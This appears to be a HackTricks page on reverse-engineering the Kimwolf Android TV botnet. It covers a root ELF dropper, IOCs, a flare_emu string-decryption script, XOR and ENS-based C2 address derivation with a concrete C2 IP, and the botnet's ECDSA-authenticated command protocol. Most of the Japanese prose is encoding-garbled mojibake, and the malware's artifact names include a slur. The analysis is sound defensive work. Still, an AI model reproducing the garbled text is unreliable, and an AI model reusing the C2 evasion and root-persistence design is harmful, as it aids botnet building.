tracer ããªã¯ãšã¹ããå®å šã«èšé²ããïŒããããããã£ãå®å ïŒãããåããã©ãã£ãã¯ãåçããŠãã€ããŒããåãåºããããã¡ã¢ãªäžã® Themida/VMProtect ã·ã§ã«ããã³ãããããRhadamanthys ã®èšå®ããŒã¿ãå€§èŠæš¡ã«æœåºãããã§ããŸãã
AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK ããŒããŒãš TV ããã¯ã¹äžã§ã®ãã€ãã£ã ELF å®è¡
com.n2.systemservice06*ã®ãããªæªæãã APK ã¯ãres/rawå ã«éçã«ãªã³ã¯ããã ARM ELF ã忢±ããŸãïŒäŸ:R.raw.libniggakernelïŒãBOOT_COMPLETEDã¬ã·ãŒããŒãèµ·åæã«åäœããraw ãªãœãŒã¹ãã¢ããªã®ãµã³ãããã¯ã¹ïŒäŸ:/data/data/<pkg>/niggakernelïŒã«æœåºããŠå®è¡å¯èœã«ããsuã§åŒã³åºããŸãã- å€ãã® Android TV ããã¯ã¹/ã¿ãã¬ãã㯠pre-rooted ã€ã¡ãŒãžã world-writable ãª
suãæèŒããŠãããããããŒããŒã¯ãšã¯ã¹ããã€ããã§ãŒã³ç¡ãã§ã ELF ã UID 0 ã§ç¢ºå®ã«èµ·åã§ããŸããæ°žç¶åã¯ãã¬ã·ãŒããŒãåèµ·åãã¢ããªåèµ·ååŸã«åèµ·åãããããããŸããã®ããã«åŸãããŸãã - ãã®ãã¿ãŒã³ãæ¢ããªããŒã¹ãšã³ãžãã¢ã¯ã
AndroidManifest.xmlã diff ããŠé ãã®ããŒãã¬ã·ãŒããŒãResources.openRawResourceâFileOutputStreamâRuntime.getRuntime().exec("su")ãåç §ããã³ãŒãã確èªã§ããŸããELF ããããããããããLinux ãŠãŒã¶ãŒã©ã³ãã®ããã¯ãã¢ãšããŠããªã¢ãŒãžããŠãã ããïŒKimwolf 㯠UPX-packedãstrippedãstatically linkedã32-bit ARM EABI5ïŒã
Runtime mutexes & masquerading IOCs
- èµ·åæã« Kimwolf ã¯
@niggaboxv4/@niggaboxv5ã®ãããªæœè±¡ UNIX ãã¡ã€ã³ãœã±ããããã€ã³ãããŸããæ¢åã®ãœã±ãããããã°çµäºããããããœã±ããåã¯ãã¥ãŒããã¯ã¹å Œãã©ã¬ã³ãžãã¯ã¢ãŒãã£ãã¡ã¯ããšããŠæ©èœããŸãã - ããã»ã¹ã¿ã€ãã«ã¯
netd_servicesãtv_helperçã®ãµãŒãã¹é¢šã®ååã§äžæžããããAndroid ã®ããã»ã¹äžèŠ§ã«æº¶ã蟌ã¿ãŸãããã¹ãããŒã¹ã®æ€åºã¯ãããã®ååãšãã¥ãŒããã¯ã¹ãœã±ããã®çµã¿åããã§ã¢ã©ãŒãã§ããŸãã
ã¹ã¿ã㯠XOR æåååŸ©å· (ARM NEON + flare_emu)
- æ©å¯æååïŒC2 ãã¡ã€ã³ããªãŸã«ããDoT ãšã³ããã€ã³ãïŒã¯æå·åããã 8 ãã€ããããã¯ã§ã¹ã¿ãã¯ã«ç©ãŸãã
VEOR Qx, Qx, QyïŒveorq_s64ïŒã§ã€ã³ãã¬ãŒã¹ã«åŸ©å·ãããŸããè§£æè 㯠flare_emu ãã¹ã¯ãªããããŠã埩å·åšãåŒã³åºãåŽã«æž¡ããã³ã«åŸ©å·æžã¿ãã€ã³ã¿ãååŸã§ããŸã:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
VEOR Q8, Q8, Q9/veorq_s64ã·ãŒã±ã³ã¹ãæ€çŽ¢ãããã®ã¬ã³ãžããšãã¥ã¬ãŒãããããšã§ããã¹ãŠã®åŸ©å·æžã¿æååãäžæã«ãã³ãããå¹³æã®ã¹ã¿ãã¯äžéå®ã®å¯¿åœãåé¿ããŸãã
DNS-over-TLS resolution plus XOR IP derivation
- ãã¹ãŠã® Kimwolf ããªã¢ã³ãã¯ãDNS-over-TLS (TCP/853) ãçšã㊠Google (8.8.8.8) ã Cloudflare (1.1.1.1) ãšçŽæ¥éä¿¡ã C2 ãã¡ã€ã³ã解決ãããããéåžžã® DNS ãã°èšé²ããã€ãžã£ãã¯ãç¡å¹åããŸãã
- v4 bots ã¯è¿ããã IPv4 A ã¬ã³ãŒãããã®ãŸãŸäœ¿çšããŸããv5 bots 㯠A ã¬ã³ãŒãã 32-bit æŽæ°ãšããŠæ±ãããšã³ãã£ã¢ã³ãå
¥ãæ¿ãã宿°
0x00ce0491ãš XOR ããåã³ãšã³ãã£ã¢ã³ãæ»ããŠå®éã® C2 IP ãåŸãŸããCyberChef ã¬ã·ã: Change IP format â 4ãã€ãããšã« endianness ãå ¥ãæ¿ã â XOR with00 ce 04 91â ãããåºåã衚èšã«æ»ãã
ENS / EtherHiding fallback
- åŸæãã«ãã§ã¯ ENS ãã¡ã€ã³ïŒ
pawsatyou.ethïŒã远å ãããã® resolver ã® text key"lol"ã«äžèŠç¡å®³ãª IPv6 (fed0:5dec:...:1be7:8599) ãæ ŒçŽããŸãã - ãããã¯æåŸã®4ãã€ãïŒ
1b e7 85 99ïŒãåãåºãã0x93141715ãš XOR ããŠããã®çµæã IPv4 C2ïŒ136.243.146.140ïŒãšããŠè§£éããŸããENS ã® text ã¬ã³ãŒããæŽæ°ããã ãã§ãDNS ã«è§Šããããšãªããããã¯ãã§ãŒã³çµç±ã§äžæµã® C2 ãå³åº§ã«åãæ¿ããããŸãã
TLS + ECDSA èªèšŒæžã¿ã³ãã³ããã£ãã«
- ãã©ãã£ãã¯ã¯ wolfSSL å ã§ã«ã¹ã¿ã ã®ãã¬ãŒã åãããã³ã«ã«ã«ãã»ã«åãããŠããŸã:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- ããŒãã¹ãã©ãã: ãããã¯2ã€ã®ç©ºã®
MsgType=0 (register)ããããéä¿¡ããŸããC2 ã¯ã©ã³ãã ãªãã£ã¬ã³ãžãš ASN.1 DER ECDSA 眲åãå«ãMsgType=1 (verify)ã§å¿çããŸãããããã¯ãããåã蟌ãŸãã SubjectPublicKeyInfo blob ã«å¯ŸããŠæ€èšŒããŸãã倱æãããšã»ãã·ã§ã³ãçµäºãããã€ãžã£ãã¯ïŒã·ã³ã¯ããŒã«åããã C2 ããŒããããªãŒãã«ã¿ã¹ã¯ãéãã®ãé²ããŸãã - æ€èšŒãæåãããšããããã¯ãªãã¬ãŒã¿å®çŸ©ã® group stringïŒäŸ:
android-postboot-rtïŒãå«ãMsgType=0æ¬æãéä¿¡ããŸããã°ã«ãŒããæå¹ã§ããã°ãC2 ã¯MsgType=2 (confirm)ã§å¿çãããã®åŸã¿ã¹ãã³ã°ïŒMsgType 5â12ïŒãéå§ãããŸãã - ãµããŒããããåœä»€ã«ã¯ SOCKS-style TCP/UDP ãããã·ïŒresidential proxy monetizationïŒãreverse shell / single command execããã¡ã€ã«ã®èªã¿æžãããã㊠Mirai-compatible DDoSBody ãã€ããŒãïŒåã
AtkTypeãDurationãTargets[]ãFlags[]ã¬ã€ã¢ãŠãïŒããããŸãã
åèè³æ
- Unit42 â Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger â github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation â revflash.medium.com
- Ghidra â github.com/NationalSecurityAgency/ghidra
- angr â angr.io
- JNI_OnLoad and invocation API â docs.oracle.com
- RegisterNatives â docs.oracle.com
- Tracing JNI Functions â valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions â laripping.com
- Unit42 â AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion â genians.co.kr
- Android Find My Device (Find Hub) â google.com/android/find
- RftRAT/RFTServer technical analysis â asec.ahnlab.com
- HMAC background â wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations â blog.xlab.qianxin.com
- Check Point Research â GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer â GitHub
Tip
AWSãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training AWS Red Team Expert (ARTE)
GCPãããã³ã°ãåŠã³ãå®è·µããïŒHackTricks Training GCP Red Team Expert (GRTE)
Azureãããã³ã°ãåŠã³ãå®è·µããïŒ
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksããµããŒããã
- ãµãã¹ã¯ãªãã·ã§ã³ãã©ã³ã確èªããŠãã ããïŒ
- **ð¬ Discordã°ã«ãŒããŸãã¯ãã¬ã°ã©ã ã°ã«ãŒãã«åå ããããTwitter ðŠ @hacktricks_liveããã©ããŒããŠãã ããã
- HackTricksããã³HackTricks Cloudã®GitHubãªããžããªã«PRãæåºããŠãããã³ã°ããªãã¯ãå ±æããŠãã ããã


